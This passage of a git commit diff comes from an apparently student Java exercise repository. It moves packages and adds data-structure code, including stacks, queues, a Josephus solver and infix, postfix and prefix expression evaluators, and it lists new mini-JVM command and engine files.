 create mode 100644 group11/252308879/data-structure/src/main/java/com/pan/stack/expr/PrefixExpr.java
 create mode 100644 group11/252308879/data-structure/src/main/java/com/pan/stack/expr/Token.java
 create mode 100644 group11/252308879/data-structure/src/main/java/com/pan/stack/expr/TokenParser.java
 rename group11/252308879/{dataStructure/src/main/java/org/pan/coding2017/multThreadDownload => data-structure/src/test/java/com/pan/download}/FileDownloaderTest.java (77%)
 rename group11/252308879/{mini-jvm/src/test/java/com/pan/alg => data-structure/src/test/java/com/pan/linklist}/LRUPageFrameTest.java (89%)
 rename group11/252308879/{dataStructure/src/main/java/org/pan/coding2017/parsingXML => data-structure/src/test/java/com/pan/litestruts}/StrutsTest.java (96%)
 create mode 100644 group11/252308879/data-structure/src/test/java/com/pan/queue/CircleQueueTest.java
 create mode 100644 group11/252308879/data-structure/src/test/java/com/pan/queue/JosephusTest.java
 rename group11/252308879/{mini-jvm/src/test/java/com/pan/alg => data-structure/src/test/java/com/pan/stack}/StackUtilTest.java (98%)
 create mode 100644 group11/252308879/data-structure/src/test/java/com/pan/stack/expr/InfixExprTest.java
 create mode 100644 group11/252308879/data-structure/src/test/java/com/pan/stack/expr/InfixToPostfixTest.java
 create mode 100644 group11/252308879/data-structure/src/test/java/com/pan/stack/expr/PostfixExprTest.java
 create mode 100644 group11/252308879/data-structure/src/test/java/com/pan/stack/expr/PrefixExprTest.java
 create mode 100644 group11/252308879/data-structure/src/test/java/com/pan/stack/expr/TokenParserTest.java
 delete mode 100644 group11/252308879/dataStructure/.gitignore
 delete mode 100644 group11/252308879/dataStructure/pom.xml
 delete mode 100644 group11/252308879/dataStructure/src/main/java/org/pan/coding2017/array/ArrayUtil.java
 delete mode 100644 group11/252308879/dataStructure/src/main/java/org/pan/coding2017/basic/ArrayList.java
 delete mode 100644 group11/252308879/dataStructure/src/main/java/org/pan/coding2017/basic/BinaryTreeNode.java
 delete mode 100644 group11/252308879/dataStructure/src/main/java/org/pan/coding2017/basic/Iterator.java
 delete mode 100644 group11/252308879/dataStructure/src/main/java/org/pan/coding2017/basic/LinkedList.java
 delete mode 100644 group11/252308879/dataStructure/src/main/java/org/pan/coding2017/basic/List.java
 delete mode 100644 group11/252308879/dataStructure/src/main/java/org/pan/coding2017/basic/Queue.java
 delete mode 100644 group11/252308879/dataStructure/src/main/java/org/pan/coding2017/basic/Stack.java
 delete mode 100644 group11/252308879/dataStructure/src/main/java/org/pan/coding2017/basic/Stack2.java
 delete mode 100644 group11/252308879/dataStructure/src/main/java/org/pan/coding2017/basic2/LinkedList.java
 delete mode 100644 group11/252308879/dataStructure/src/main/java/org/pan/coding2017/multThreadDownload/api/ConnectionException.java
 delete mode 100644 group11/252308879/dataStructure/src/main/resources/struts.xml
 delete mode 100644 group11/252308879/dataStructure/src/test/java/org/pan/coding2017/TestJavaUtilArrayList.java
 delete mode 100644 group11/252308879/dataStructure/src/test/java/org/pan/coding2017/array/ArrayUtilTest.java
 delete mode 100644 group11/252308879/dataStructure/src/test/java/org/pan/coding2017/basic/ArrayListTest.java
 delete mode 100644 group11/252308879/dataStructure/src/test/java/org/pan/coding2017/basic/BinaryTreeNodeTest.java
 delete mode 100644 group11/252308879/dataStructure/src/test/java/org/pan/coding2017/basic/LinkedListTest.java
 delete mode 100644 group11/252308879/dataStructure/src/test/java/org/pan/coding2017/basic/QueueTest.java
 delete mode 100644 group11/252308879/dataStructure/src/test/java/org/pan/coding2017/basic/StackTest.java
 delete mode 100644 group11/252308879/mini-jvm/src/main/java/com/pan/alg/LRUPageFrame.java
 delete mode 100644 group11/252308879/mini-jvm/src/main/java/com/pan/alg/StackUtil.java
 create mode 100644 group11/252308879/mini-jvm/src/main/java/com/pan/jvm/cmd/BiPushCmd.java
 create mode 100644 group11/252308879/mini-jvm/src/main/java/com/pan/jvm/cmd/ByteCodeCommand.java
 create mode 100644 group11/252308879/mini-jvm/src/main/java/com/pan/jvm/cmd/CommandParser.java
 create mode 100644 group11/252308879/mini-jvm/src/main/java/com/pan/jvm/cmd/GetFieldCmd.java
 create mode 100644 group11/252308879/mini-jvm/src/main/java/com/pan/jvm/cmd/GetStaticFieldCmd.java
 create mode 100644 group11/252308879/mini-jvm/src/main/java/com/pan/jvm/cmd/InvokeSpecialCmd.java
 create mode 100644 group11/252308879/mini-jvm/src/main/java/com/pan/jvm/cmd/InvokeVirtualCmd.java
 create mode 100644 group11/252308879/mini-jvm/src/main/java/com/pan/jvm/cmd/LdcCmd.java
 create mode 100644 group11/252308879/mini-jvm/src/main/java/com/pan/jvm/cmd/NewObjectCmd.java
 create mode 100644 group11/252308879/mini-jvm/src/main/java/com/pan/jvm/cmd/NoOperandCmd.java
 create mode 100644 group11/252308879/mini-jvm/src/main/java/com/pan/jvm/cmd/OneOperandCmd.java
 create mode 100644 group11/252308879/mini-jvm/src/main/java/com/pan/jvm/cmd/PutFieldCmd.java
 create mode 100644 group11/252308879/mini-jvm/src/main/java/com/pan/jvm/cmd/TwoOperandCmd.java
 create mode 100644 group11/252308879/mini-jvm/src/main/java/com/pan/jvm/engine/ExecutionResult.java
 create mode 100644 group11/252308879/mini-jvm/src/main/java/com/pan/jvm/engine/ExecutorEngine.java
 create mode 100644 group11/252308879/mini-jvm/src/main/java/com/pan/jvm/engine/Heap.java
 create mode 100644 group11/252308879/mini-jvm/src/main/java/com/pan/jvm/engine/JavaObject.java
 create mode 100644 group11/252308879/mini-jvm/src/main/java/com/pan/jvm/engine/MethodArea.java
 create mode 100644 group11/252308879/mini-jvm/src/main/java/com/pan/jvm/engine/MiniJVM.java
 create mode 100644 group11/252308879/mini-jvm/src/main/java/com/pan/jvm/engine/OperandStack.java
 create mode 100644 group11/252308879/mini-jvm/src/main/java/com/pan/jvm/engine/StackFrame.java
 create mode 100644 group11/252308879/mini-jvm/src/main/java/com/pan/jvm/print/ClassFilePrinter.java
 create mode 100644 group11/252308879/mini-jvm/src/main/java/com/pan/jvm/print/ConstantPoolPrinter.java
 create mode 100644 group11/252308879/mini-jvm/src/main/java/com/pan/jvm/print/ConstantPoolPrinterBad.java
 delete mode 100644 group11/252308879/mini-jvm/src/test/java/com/pan/MapForEachTest.java
 create mode 100644 group11/252308879/mini-jvm/src/test/java/com/pan/jvm/MiniJVMTest.java

diff --git a/group11/252308879/data-structure/src/main/java/com/pan/basic/Stack.java b/group11/252308879/data-structure/src/main/java/com/pan/basic/Stack.java
new file mode 100644
index 0000000000..fee417f7f0
--- /dev/null
+++ b/group11/252308879/data-structure/src/main/java/com/pan/basic/Stack.java
@@ -0,0 +1,25 @@
+package com.pan.basic;
+
+
+import java.util.ArrayList;
+
+public class Stack {
+	private ArrayList elementData = new ArrayList();
+	
+	public void push(Object o){		
+	}
+	
+	public Object pop(){
+		return null;
+	}
+	
+	public Object peek(){
+		return null;
+	}
+	public boolean isEmpty(){
+		return false;
+	}
+	public int size(){
+		return -1;
+	}
+}
diff --git a/group11/252308879/dataStructure/src/main/java/org/pan/coding2017/multThreadDownload/DownloadThread.java b/group11/252308879/data-structure/src/main/java/com/pan/download/DownloadThread.java
similarity index 90%
rename from group11/252308879/dataStructure/src/main/java/org/pan/coding2017/multThreadDownload/DownloadThread.java
rename to group11/252308879/data-structure/src/main/java/com/pan/download/DownloadThread.java
index 0625d24650..8155031ad8 100644
--- a/group11/252308879/dataStructure/src/main/java/org/pan/coding2017/multThreadDownload/DownloadThread.java
+++ b/group11/252308879/data-structure/src/main/java/com/pan/download/DownloadThread.java
@@ -1,7 +1,9 @@
-package org.pan.coding2017.multThreadDownload;
+package com.pan.download;
 
 
-import org.pan.coding2017.multThreadDownload.api.Connection;
+
+
+import com.pan.download.api.Connection;
 
 import java.io.RandomAccessFile;
 import java.util.concurrent.CyclicBarrier;
diff --git a/group11/252308879/dataStructure/src/main/java/org/pan/coding2017/multThreadDownload/FileDownloader.java b/group11/252308879/data-structure/src/main/java/com/pan/download/FileDownloader.java
similarity index 92%
rename from group11/252308879/dataStructure/src/main/java/org/pan/coding2017/multThreadDownload/FileDownloader.java
rename to group11/252308879/data-structure/src/main/java/com/pan/download/FileDownloader.java
index 16ac89b371..8da8be9f5d 100644
--- a/group11/252308879/dataStructure/src/main/java/org/pan/coding2017/multThreadDownload/FileDownloader.java
+++ b/group11/252308879/data-structure/src/main/java/com/pan/download/FileDownloader.java
@@ -1,9 +1,10 @@
-package org.pan.coding2017.multThreadDownload;
+package com.pan.download;
 
 
-import org.pan.coding2017.multThreadDownload.api.Connection;
-import org.pan.coding2017.multThreadDownload.api.ConnectionManager;
-import org.pan.coding2017.multThreadDownload.api.DownloadListener;
+
+import com.pan.download.api.Connection;
+import com.pan.download.api.ConnectionManager;
+import com.pan.download.api.DownloadListener;
 
 import java.io.RandomAccessFile;
 import java.util.concurrent.CyclicBarrier;
diff --git a/group11/252308879/dataStructure/src/main/java/org/pan/coding2017/multThreadDownload/api/Connection.java b/group11/252308879/data-structure/src/main/java/com/pan/download/api/Connection.java
similarity index 89%
rename from group11/252308879/dataStructure/src/main/java/org/pan/coding2017/multThreadDownload/api/Connection.java
rename to group11/252308879/data-structure/src/main/java/com/pan/download/api/Connection.java
index 98046b6c8f..e00172ab18 100644
--- a/group11/252308879/dataStructure/src/main/java/org/pan/coding2017/multThreadDownload/api/Connection.java
+++ b/group11/252308879/data-structure/src/main/java/com/pan/download/api/Connection.java
@@ -1,4 +1,4 @@
-package org.pan.coding2017.multThreadDownload.api;
+package com.pan.download.api;
 
 import java.io.IOException;
 
diff --git a/group11/252308879/data-structure/src/main/java/com/pan/download/api/ConnectionException.java b/group11/252308879/data-structure/src/main/java/com/pan/download/api/ConnectionException.java
new file mode 100644
index 0000000000..8d07f2c1f9
--- /dev/null
+++ b/group11/252308879/data-structure/src/main/java/com/pan/download/api/ConnectionException.java
@@ -0,0 +1,5 @@
+package com.pan.download.api;
+
+public class ConnectionException extends Exception {
+
+}
diff --git a/group11/252308879/dataStructure/src/main/java/org/pan/coding2017/multThreadDownload/api/ConnectionManager.java b/group11/252308879/data-structure/src/main/java/com/pan/download/api/ConnectionManager.java
similarity index 78%
rename from group11/252308879/dataStructure/src/main/java/org/pan/coding2017/multThreadDownload/api/ConnectionManager.java
rename to group11/252308879/data-structure/src/main/java/com/pan/download/api/ConnectionManager.java
index 4ac353f33d..0dcbf8abf8 100644
--- a/group11/252308879/dataStructure/src/main/java/org/pan/coding2017/multThreadDownload/api/ConnectionManager.java
+++ b/group11/252308879/data-structure/src/main/java/com/pan/download/api/ConnectionManager.java
@@ -1,4 +1,4 @@
-package org.pan.coding2017.multThreadDownload.api;
+package com.pan.download.api;
 
 public interface ConnectionManager {
 	/**
diff --git a/group11/252308879/dataStructure/src/main/java/org/pan/coding2017/multThreadDownload/api/DownloadListener.java b/group11/252308879/data-structure/src/main/java/com/pan/download/api/DownloadListener.java
similarity index 57%
rename from group11/252308879/dataStructure/src/main/java/org/pan/coding2017/multThreadDownload/api/DownloadListener.java
rename to group11/252308879/data-structure/src/main/java/com/pan/download/api/DownloadListener.java
index 0de8c742d0..58b6b294d9 100644
--- a/group11/252308879/dataStructure/src/main/java/org/pan/coding2017/multThreadDownload/api/DownloadListener.java
+++ b/group11/252308879/data-structure/src/main/java/com/pan/download/api/DownloadListener.java
@@ -1,4 +1,4 @@
-package org.pan.coding2017.multThreadDownload.api;
+package com.pan.download.api;
 
 public interface DownloadListener {
 	public void notifyFinished();
diff --git a/group11/252308879/dataStructure/src/main/java/org/pan/coding2017/multThreadDownload/api/impl/ConnectionImpl.java b/group11/252308879/data-structure/src/main/java/com/pan/download/impl/ConnectionImpl.java
similarity index 93%
rename from group11/252308879/dataStructure/src/main/java/org/pan/coding2017/multThreadDownload/api/impl/ConnectionImpl.java
rename to group11/252308879/data-structure/src/main/java/com/pan/download/impl/ConnectionImpl.java
index d8639a5b6b..ecedb90840 100644
--- a/group11/252308879/dataStructure/src/main/java/org/pan/coding2017/multThreadDownload/api/impl/ConnectionImpl.java
+++ b/group11/252308879/data-structure/src/main/java/com/pan/download/impl/ConnectionImpl.java
@@ -1,6 +1,8 @@
-package org.pan.coding2017.multThreadDownload.api.impl;
+package com.pan.download.impl;
 
-import org.pan.coding2017.multThreadDownload.api.Connection;
+
+
+import com.pan.download.api.Connection;
 
 import java.io.ByteArrayOutputStream;
 import java.io.IOException;
diff --git a/group11/252308879/dataStructure/src/main/java/org/pan/coding2017/multThreadDownload/api/impl/ConnectionManagerImpl.java b/group11/252308879/data-structure/src/main/java/com/pan/download/impl/ConnectionManagerImpl.java
similarity index 62%
rename from group11/252308879/dataStructure/src/main/java/org/pan/coding2017/multThreadDownload/api/impl/ConnectionManagerImpl.java
rename to group11/252308879/data-structure/src/main/java/com/pan/download/impl/ConnectionManagerImpl.java
index 5a555652fc..9e415863e3 100644
--- a/group11/252308879/dataStructure/src/main/java/org/pan/coding2017/multThreadDownload/api/impl/ConnectionManagerImpl.java
+++ b/group11/252308879/data-structure/src/main/java/com/pan/download/impl/ConnectionManagerImpl.java
@@ -1,8 +1,10 @@
-package org.pan.coding2017.multThreadDownload.api.impl;
+package com.pan.download.impl;
 
 
-import org.pan.coding2017.multThreadDownload.api.Connection;
-import org.pan.coding2017.multThreadDownload.api.ConnectionManager;
+
+
+import com.pan.download.api.Connection;
+import com.pan.download.api.ConnectionManager;
 
 import java.io.IOException;
 
diff --git a/group11/252308879/dataStructure/src/main/java/org/pan/coding2017/utils/JaxpDomUtil.java b/group11/252308879/data-structure/src/main/java/com/pan/litestruts/JaxpDomUtil.java
similarity index 99%
rename from group11/252308879/dataStructure/src/main/java/org/pan/coding2017/utils/JaxpDomUtil.java
rename to group11/252308879/data-structure/src/main/java/com/pan/litestruts/JaxpDomUtil.java
index d8fe537e35..e806d4fac6 100644
--- a/group11/252308879/dataStructure/src/main/java/org/pan/coding2017/utils/JaxpDomUtil.java
+++ b/group11/252308879/data-structure/src/main/java/com/pan/litestruts/JaxpDomUtil.java
@@ -1,4 +1,4 @@
-package org.pan.coding2017.utils;
+package com.pan.litestruts;
 
 import javax.xml.parsers.DocumentBuilder;
 import javax.xml.parsers.DocumentBuilderFactory;
diff --git a/group11/252308879/dataStructure/src/main/java/org/pan/coding2017/parsingXML/LoginAction.java b/group11/252308879/data-structure/src/main/java/com/pan/litestruts/LoginAction.java
similarity index 95%
rename from group11/252308879/dataStructure/src/main/java/org/pan/coding2017/parsingXML/LoginAction.java
rename to group11/252308879/data-structure/src/main/java/com/pan/litestruts/LoginAction.java
index f38cbcb084..ca9c0a41a7 100644
--- a/group11/252308879/dataStructure/src/main/java/org/pan/coding2017/parsingXML/LoginAction.java
+++ b/group11/252308879/data-structure/src/main/java/com/pan/litestruts/LoginAction.java
@@ -1,4 +1,4 @@
-package org.pan.coding2017.parsingXML;
+package com.pan.litestruts;
 
 /**
  * 这是一个用来展示登录的业务类， 其中的用户名和密码都是硬编码的。
diff --git a/group11/252308879/dataStructure/src/main/java/org/pan/coding2017/parsingXML/Struts.java b/group11/252308879/data-structure/src/main/java/com/pan/litestruts/Struts.java
similarity index 98%
rename from group11/252308879/dataStructure/src/main/java/org/pan/coding2017/parsingXML/Struts.java
rename to group11/252308879/data-structure/src/main/java/com/pan/litestruts/Struts.java
index 90c5443c23..ca17b809ba 100644
--- a/group11/252308879/dataStructure/src/main/java/org/pan/coding2017/parsingXML/Struts.java
+++ b/group11/252308879/data-structure/src/main/java/com/pan/litestruts/Struts.java
@@ -1,6 +1,5 @@
-package org.pan.coding2017.parsingXML;
+package com.pan.litestruts;
 
-import org.pan.coding2017.utils.JaxpDomUtil;
 import org.w3c.dom.Document;
 import org.w3c.dom.NamedNodeMap;
 import org.w3c.dom.Node;
diff --git a/group11/252308879/dataStructure/src/main/java/org/pan/coding2017/parsingXML/View.java b/group11/252308879/data-structure/src/main/java/com/pan/litestruts/View.java
similarity index 90%
rename from group11/252308879/dataStructure/src/main/java/org/pan/coding2017/parsingXML/View.java
rename to group11/252308879/data-structure/src/main/java/com/pan/litestruts/View.java
index 3271ab4ed1..a57f4d50c3 100644
--- a/group11/252308879/dataStructure/src/main/java/org/pan/coding2017/parsingXML/View.java
+++ b/group11/252308879/data-structure/src/main/java/com/pan/litestruts/View.java
@@ -1,4 +1,4 @@
-package org.pan.coding2017.parsingXML;
+package com.pan.litestruts;
 
 import java.util.Map;
 
diff --git a/group11/252308879/data-structure/src/main/java/com/pan/queue/CircleQueue.java b/group11/252308879/data-structure/src/main/java/com/pan/queue/CircleQueue.java
new file mode 100644
index 0000000000..040df85d1f
--- /dev/null
+++ b/group11/252308879/data-structure/src/main/java/com/pan/queue/CircleQueue.java
@@ -0,0 +1,46 @@
+package com.pan.queue;
+
+public class CircleQueue <E> {
+
+	//用数组来保存循环队列的元素
+	private Object[] elementData ;
+	int size = 0;
+	//队头
+	private int front = 0;  
+	//队尾  
+	private int rear = 0;
+	
+	public CircleQueue(int capacity){
+		elementData = new Object[capacity];
+	}
+	public boolean isEmpty() {
+		return front == rear;
+        
+    }
+	
+	public boolean isFull(){
+		return  size == elementData.length;
+	}
+    public int size() {
+        return size;
+    }
+
+    public void enQueue(E data) {
+        if(isFull()){
+        	throw new RuntimeException("The queue is full");
+        }
+        elementData[rear++] = data;
+        size++;
+    }
+
+    public E deQueue() {
+        if(isEmpty()){
+        	throw new RuntimeException("The queue is empty");
+        }
+        E data = (E)elementData[front];
+        elementData[front] = null;
+        front = (front+1) % elementData.length;
+        size --;
+        return data;
+    }
+}
diff --git a/group11/252308879/data-structure/src/main/java/com/pan/queue/Josephus.java b/group11/252308879/data-structure/src/main/java/com/pan/queue/Josephus.java
new file mode 100644
index 0000000000..45e4b53526
--- /dev/null
+++ b/group11/252308879/data-structure/src/main/java/com/pan/queue/Josephus.java
@@ -0,0 +1,39 @@
+package com.pan.queue;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * 用Queue来实现Josephus问题
+ * 在这个古老的问题当中， N个深陷绝境的人一致同意用这种方式减少生存人数：  N个人围成一圈（位置记为0到N-1）， 并且从第一个人报数， 报到M的人会被杀死， 直到最后一个人留下来
+ * @author liuxin
+ *
+ */
+public class Josephus {
+	
+	public static List<Integer> execute(int n, int m){
+		
+		Queue<Integer> queue = new Queue<Integer>();
+        for (int i = 0; i < n; i++){
+        	queue.enQueue(i);
+        }
+        
+        List<Integer> result = new ArrayList<Integer>();
+        int i = 0;
+
+        while (!queue.isEmpty()) {
+
+            int x = queue.deQueue();            
+
+            if (++i % m == 0){
+            	result.add(x);
+            } else{
+            	queue.enQueue(x);
+            }
+        }
+
+        
+        return result;
+	}
+	
+}
diff --git a/group11/252308879/data-structure/src/main/java/com/pan/queue/Queue.java b/group11/252308879/data-structure/src/main/java/com/pan/queue/Queue.java
new file mode 100644
index 0000000000..fcd08e7a0c
--- /dev/null
+++ b/group11/252308879/data-structure/src/main/java/com/pan/queue/Queue.java
@@ -0,0 +1,61 @@
+package com.pan.queue;
+
+import java.util.NoSuchElementException;
+
+public class Queue<E> {
+    private Node<E> first;    
+    private Node<E> last;     
+    private int size;               
+
+    
+    private static class Node<E> {
+        private E item;
+        private Node<E> next;
+    }
+
+    
+    public Queue() {
+        first = null;
+        last  = null;
+        size = 0;
+    }
+
+    
+    public boolean isEmpty() {
+        return first == null;
+    }
+
+    public int size() {
+        return size;
+    }
+
+    
+
+    public void enQueue(E data) {
+        Node<E> oldlast = last;
+        last = new Node<E>();
+        last.item = data;
+        last.next = null;
+        if (isEmpty()) {
+        	first = last;
+        }
+        else{
+        	oldlast.next = last;
+        }
+        size++;
+    }
+
+    public E deQueue() {
+        if (isEmpty()) {
+        	throw new NoSuchElementException("Queue underflow");
+        }
+        E item = first.item;
+        first = first.next;
+        size--;
+        if (isEmpty()) {
+        	last = null;  
+        }
+        return item;
+    }
+
+}
diff --git a/group11/252308879/data-structure/src/main/java/com/pan/queue/QueueWithTwoStacks.java b/group11/252308879/data-structure/src/main/java/com/pan/queue/QueueWithTwoStacks.java
new file mode 100644
index 0000000000..0ef6f82625
--- /dev/null
+++ b/group11/252308879/data-structure/src/main/java/com/pan/queue/QueueWithTwoStacks.java
@@ -0,0 +1,55 @@
+package com.pan.queue;
+
+import java.util.NoSuchElementException;
+import java.util.Stack;
+
+public class QueueWithTwoStacks<E> {
+	private Stack<E> stack1;    
+    private Stack<E> stack2;    
+
+    
+    public QueueWithTwoStacks() {
+        stack1 = new Stack<E>();
+        stack2 = new Stack<E>();
+    }
+
+   
+    private void moveStack1ToStack2() {
+        while (!stack1.isEmpty()){
+        	stack2.push(stack1.pop());
+        }
+            
+    }
+
+
+    public boolean isEmpty() {
+        return stack1.isEmpty() && stack2.isEmpty();
+    }
+
+
+    
+    public int size() {
+        return stack1.size() + stack2.size();     
+    }
+
+
+
+    public void enQueue(E item) {
+        stack1.push(item);
+    }
+
+    public E deQueue() {
+        if (isEmpty()) {
+        	throw new NoSuchElementException("Queue is empty");
+        }
+        if (stack2.isEmpty()) {
+        	moveStack1ToStack2();
+        }
+        
+        return stack2.pop();
+    }
+
+
+
+ }
+
diff --git a/group11/252308879/data-structure/src/main/java/com/pan/stack/QuickMinStack.java b/group11/252308879/data-structure/src/main/java/com/pan/stack/QuickMinStack.java
new file mode 100644
index 0000000000..b665a680a4
--- /dev/null
+++ b/group11/252308879/data-structure/src/main/java/com/pan/stack/QuickMinStack.java
@@ -0,0 +1,19 @@
+package com.pan.stack;
+
+/**
+ * 设计一个栈，支持栈的push和pop操作，以及第三种操作findMin, 它返回改数据结构中的最小元素
+ * finMin操作最坏的情形下时间复杂度应该是O(1) ， 简单来讲，操作一次就可以得到最小值
+ * @author liuxin
+ *
+ */
+public class QuickMinStack {
+	public void push(int data){
+		
+	}
+	public int pop(){
+		return -1;
+	}
+	public int findMin(){
+		return -1;
+	}
+}
diff --git a/group11/252308879/data-structure/src/main/java/com/pan/stack/StackWithTwoQueues.java b/group11/252308879/data-structure/src/main/java/com/pan/stack/StackWithTwoQueues.java
new file mode 100644
index 0000000000..72a87b3b68
--- /dev/null
+++ b/group11/252308879/data-structure/src/main/java/com/pan/stack/StackWithTwoQueues.java
@@ -0,0 +1,16 @@
+package com.pan.stack;
+
+
+public class StackWithTwoQueues {
+	
+
+    public void push(int data) {       
+
+    }
+
+    public int pop() {
+       return -1;
+    }
+
+    
+}
diff --git a/group11/252308879/data-structure/src/main/java/com/pan/stack/TwoStackInOneArray.java b/group11/252308879/data-structure/src/main/java/com/pan/stack/TwoStackInOneArray.java
new file mode 100644
index 0000000000..f00f36b2e6
--- /dev/null
+++ b/group11/252308879/data-structure/src/main/java/com/pan/stack/TwoStackInOneArray.java
@@ -0,0 +1,57 @@
+package com.pan.stack;
+
+/**
+ * 用一个数组实现两个栈
+ * 将数组的起始位置看作是第一个栈的栈底，将数组的尾部看作第二个栈的栈底，压栈时，栈顶指针分别向中间移动，直到两栈顶指针相遇，则扩容。
+ * @author liuxin
+ *
+ */
+public class TwoStackInOneArray {
+	Object[] data = new Object[10];
+	
+	/**
+	 * 向第一个栈中压入元素
+	 * @param o
+	 */
+	public void push1(Object o){
+		
+	}
+	/**
+	 * 从第一个栈中弹出元素
+	 * @return
+	 */
+	public Object pop1(){
+		return null;
+	}
+	
+	/**
+	 * 获取第一个栈的栈顶元素
+	 * @return
+	 */
+	
+	public Object peek1(){
+		return null;
+	}
+	/*
+	 * 向第二个栈压入元素
+	 */
+	public void push2(Object o){
+		
+	}
+	/**
+	 * 从第二个栈弹出元素
+	 * @return
+	 */
+	public Object pop2(){
+		return null;
+	}
+	/**
+	 * 获取第二个栈的栈顶元素
+	 * @return
+	 */
+	
+	public Object peek2(){
+		return null;
+	}
+	
+}
diff --git a/group11/252308879/data-structure/src/main/java/com/pan/stack/expr/CalculateUtil.java b/group11/252308879/data-structure/src/main/java/com/pan/stack/expr/CalculateUtil.java
new file mode 100644
index 0000000000..3eb1a9f6e9
--- /dev/null
+++ b/group11/252308879/data-structure/src/main/java/com/pan/stack/expr/CalculateUtil.java
@@ -0,0 +1,27 @@
+package com.pan.stack.expr;
+
+import java.util.Stack;
+
+/**
+ * Created by Pan on 2017/5/7.
+ */
+public class CalculateUtil {
+
+
+    public static Float calculate(String op, Float f1, Float f2) {
+        if (op.equals("+")) {
+            return f1 + f2;
+        }
+        if (op.equals("-")) {
+            return f1 - f2;
+        }
+        if (op.equals("*")) {
+            return f1 * f2;
+        }
+        if (op.equals("/")) {
+            return f1 / f2;
+        }
+        throw new RuntimeException(op + " is not supported");
+    }
+
+}
diff --git a/group11/252308879/data-structure/src/main/java/com/pan/stack/expr/InfixExpr.java b/group11/252308879/data-structure/src/main/java/com/pan/stack/expr/InfixExpr.java
new file mode 100644
index 0000000000..e7d8797eb6
--- /dev/null
+++ b/group11/252308879/data-structure/src/main/java/com/pan/stack/expr/InfixExpr.java
@@ -0,0 +1,56 @@
+package com.pan.stack.expr;
+
+import java.util.List;
+import java.util.Stack;
+
+
+public class InfixExpr {
+    String expr = null;
+
+    public InfixExpr(String expr) {
+        this.expr = expr;
+    }
+
+    public float evaluate() {
+
+
+        TokenParser parser = new TokenParser();
+        List<Token> tokens = parser.parse(this.expr);
+
+
+        Stack<Token> opStack = new Stack<>();
+        Stack<Float> numStack = new Stack<>();
+
+        for (Token token : tokens) {
+
+            if (token.isOperator()) {
+
+                while (!opStack.isEmpty()
+                        && !token.hasHigherPriority(opStack.peek())) {
+                    Token prevOperator = opStack.pop();
+                    Float f2 = numStack.pop();
+                    Float f1 = numStack.pop();
+                    Float result = CalculateUtil.calculate(prevOperator.toString(), f1, f2);
+                    numStack.push(result);
+
+                }
+                opStack.push(token);
+            }
+            if (token.isNumber()) {
+                numStack.push(new Float(token.getIntValue()));
+            }
+        }
+
+        while (!opStack.isEmpty()) {
+            Token token = opStack.pop();
+            Float f2 = numStack.pop();
+            Float f1 = numStack.pop();
+            numStack.push(CalculateUtil.calculate(token.toString(), f1, f2));
+        }
+
+
+        return numStack.pop().floatValue();
+    }
+
+
+}
diff --git a/group11/252308879/data-structure/src/main/java/com/pan/stack/expr/InfixToPostfix.java b/group11/252308879/data-structure/src/main/java/com/pan/stack/expr/InfixToPostfix.java
new file mode 100644
index 0000000000..df17c3af43
--- /dev/null
+++ b/group11/252308879/data-structure/src/main/java/com/pan/stack/expr/InfixToPostfix.java
@@ -0,0 +1,40 @@
+package com.pan.stack.expr;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Stack;
+
+public class InfixToPostfix {
+
+    public static List<Token> convert(String expr) {
+        List<Token> inFixTokens = new TokenParser().parse(expr);
+
+        List<Token> postFixTokens = new ArrayList<>();
+
+        Stack<Token> opStack = new Stack<Token>();
+        for (Token token : inFixTokens) {
+
+            if (token.isOperator()) {
+
+                while (!opStack.isEmpty()
+                        && !token.hasHigherPriority(opStack.peek())) {
+                    postFixTokens.add(opStack.pop());
+
+                }
+                opStack.push(token);
+
+            }
+            if (token.isNumber()) {
+
+                postFixTokens.add(token);
+
+            }
+        }
+
+        while (!opStack.isEmpty()) {
+            postFixTokens.add(opStack.pop());
+        }
+
+        return postFixTokens;
+    }
+}
diff --git a/group11/252308879/data-structure/src/main/java/com/pan/stack/expr/PostfixExpr.java b/group11/252308879/data-structure/src/main/java/com/pan/stack/expr/PostfixExpr.java
new file mode 100644
index 0000000000..c649aa604b
--- /dev/null
+++ b/group11/252308879/data-structure/src/main/java/com/pan/stack/expr/PostfixExpr.java
@@ -0,0 +1,32 @@
+package com.pan.stack.expr;
+
+import java.util.List;
+import java.util.Stack;
+
+public class PostfixExpr {
+    String expr = null;
+
+    public PostfixExpr(String expr) {
+        this.expr = expr;
+    }
+
+    public float evaluate() {
+        TokenParser parser = new TokenParser();
+        List<Token> tokens = parser.parse(this.expr);
+
+
+        Stack<Float> numStack = new Stack<>();
+        for (Token token : tokens) {
+            if (token.isNumber()) {
+                numStack.push(new Float(token.getIntValue()));
+            } else {
+                Float f2 = numStack.pop();
+                Float f1 = numStack.pop();
+                numStack.push(CalculateUtil.calculate(token.toString(), f1, f2));
+            }
+        }
+        return numStack.pop().floatValue();
+    }
+
+
+}
diff --git a/group11/252308879/data-structure/src/main/java/com/pan/stack/expr/PrefixExpr.java b/group11/252308879/data-structure/src/main/java/com/pan/stack/expr/PrefixExpr.java
new file mode 100644
index 0000000000..902ecfa0cb
--- /dev/null
+++ b/group11/252308879/data-structure/src/main/java/com/pan/stack/expr/PrefixExpr.java
@@ -0,0 +1,38 @@
+package com.pan.stack.expr;
+
+import java.util.List;
+import java.util.Stack;
+
+public class PrefixExpr {
+    String expr = null;
+
+    public PrefixExpr(String expr) {
+        this.expr = expr;
+    }
+
+    public float evaluate() {
+        TokenParser parser = new TokenParser();
+        List<Token> tokens = parser.parse(this.expr);
+
+        Stack<Token> exprStack = new Stack<>();
+        Stack<Float> numStack = new Stack<>();
+        for (Token token : tokens) {
+            exprStack.push(token);
+        }
+
+        while (!exprStack.isEmpty()) {
+            Token t = exprStack.pop();
+            if (t.isNumber()) {
+                numStack.push(new Float(t.getIntValue()));
+            } else {
+                Float f1 = numStack.pop();
+                Float f2 = numStack.pop();
+                numStack.push(CalculateUtil.calculate(t.toString(), f1, f2));
+
+            }
+        }
+        return numStack.pop().floatValue();
+    }
+
+
+}
diff --git a/group11/252308879/data-structure/src/main/java/com/pan/stack/expr/Token.java b/group11/252308879/data-structure/src/main/java/com/pan/stack/expr/Token.java
new file mode 100644
index 0000000000..f7db7d2a00
--- /dev/null
+++ b/group11/252308879/data-structure/src/main/java/com/pan/stack/expr/Token.java
@@ -0,0 +1,53 @@
+package com.pan.stack.expr;
+
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+class Token {
